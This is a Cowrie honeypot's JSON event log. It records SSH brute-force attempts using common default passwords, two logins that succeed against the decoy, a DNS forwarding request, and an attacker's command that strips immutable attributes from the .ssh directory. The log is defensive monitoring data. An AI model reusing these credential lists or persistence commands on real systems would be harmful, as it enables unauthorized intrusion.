{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:41.354830Z","src_ip":"45.156.87.204","session":"4c1bdcae7f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:41.720680Z","src_ip":"205.210.31.137","session":"529a9249c128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test.123","message":"login attempt [root/Test.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:41.760331Z","src_ip":"83.111.76.195","session":"61b608687db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:42.439685Z","src_ip":"45.156.87.204","session":"4c1bdcae7f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:42.967437Z","src_ip":"83.111.76.195","session":"61b608687db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53650,"dst_ip":"159.203.135.109","dst_port":22,"session":"ece60ba2e97c","protocol":"ssh","message":"New connection: 45.156.87.204:53650 (159.203.135.109:22) [session: ece60ba2e97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:43.271447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:43.276433Z","src_ip":"45.156.87.204","session":"ece60ba2e97c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:43.359910Z","src_ip":"45.156.87.204","session":"ece60ba2e97c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:43.610070Z","src_ip":"45.156.87.204","session":"ece60ba2e97c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31106,"dst_ip":"10.17.0.5","dst_port":22,"session":"933c555302f5","protocol":"ssh","message":"New connection: 87.251.64.176:31106 (10.17.0.5:22) [session: 933c555302f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.003108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.007761Z","src_ip":"87.251.64.176","session":"933c555302f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.104291Z","src_ip":"87.251.64.176","session":"933c555302f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.399172Z","src_ip":"87.251.64.176","session":"933c555302f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.497946Z","session":"933c555302f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.595751Z","src_ip":"87.251.64.176","session":"933c555302f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.694389Z","src_ip":"87.251.64.176","session":"933c555302f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:44.699058Z","src_ip":"45.156.87.204","session":"ece60ba2e97c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66460418701172,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:45.376280Z","src_ip":"152.42.224.71","session":"63b3df2ba6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53664,"dst_ip":"159.203.135.109","dst_port":22,"session":"36585b5b3ca4","protocol":"ssh","message":"New connection: 45.156.87.204:53664 (159.203.135.109:22) [session: 36585b5b3ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:47.007065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:47.012535Z","src_ip":"45.156.87.204","session":"36585b5b3ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:47.094688Z","src_ip":"45.156.87.204","session":"36585b5b3ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:47.341631Z","src_ip":"45.156.87.204","session":"36585b5b3ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:48.427260Z","src_ip":"45.156.87.204","session":"36585b5b3ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53672,"dst_ip":"159.203.135.109","dst_port":22,"session":"d588ad7f58e6","protocol":"ssh","message":"New connection: 45.156.87.204:53672 (159.203.135.109:22) [session: d588ad7f58e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:50.481017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:50.485624Z","src_ip":"45.156.87.204","session":"d588ad7f58e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:50.569183Z","src_ip":"45.156.87.204","session":"d588ad7f58e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:50.820822Z","src_ip":"45.156.87.204","session":"d588ad7f58e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.650781393051147,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:51.888307Z","src_ip":"152.42.224.71","session":"b87a5d223edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:51.906276Z","src_ip":"45.156.87.204","session":"d588ad7f58e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2ead46b5bab","protocol":"telnet","message":"New connection: 152.42.224.71:38138 (10.17.0.5:23) [session: a2ead46b5bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:52.818516Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54112,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5db6a7bd4aa","protocol":"ssh","message":"New connection: 45.156.87.204:54112 (159.203.135.109:22) [session: d5db6a7bd4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:54.009288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:54.017261Z","src_ip":"45.156.87.204","session":"d5db6a7bd4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:54.099275Z","src_ip":"45.156.87.204","session":"d5db6a7bd4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:54.344391Z","src_ip":"45.156.87.204","session":"d5db6a7bd4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:55.430140Z","src_ip":"45.156.87.204","session":"d5db6a7bd4aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54132,"dst_ip":"159.203.135.109","dst_port":22,"session":"416ef7c09c6e","protocol":"ssh","message":"New connection: 45.156.87.204:54132 (159.203.135.109:22) [session: 416ef7c09c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:57.475034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:57.609298Z","src_ip":"45.156.87.204","session":"416ef7c09c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:57.612881Z","src_ip":"45.156.87.204","session":"416ef7c09c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:57.957131Z","src_ip":"45.156.87.204","session":"416ef7c09c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:59.042697Z","src_ip":"45.156.87.204","session":"416ef7c09c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":58204,"dst_ip":"159.203.135.109","dst_port":22,"session":"1078dd213811","protocol":"ssh","message":"New connection: 45.183.70.66:58204 (159.203.135.109:22) [session: 1078dd213811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:59.222770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:59.227429Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:59.345942Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:59.845509Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.139546Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.143389Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.147799Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
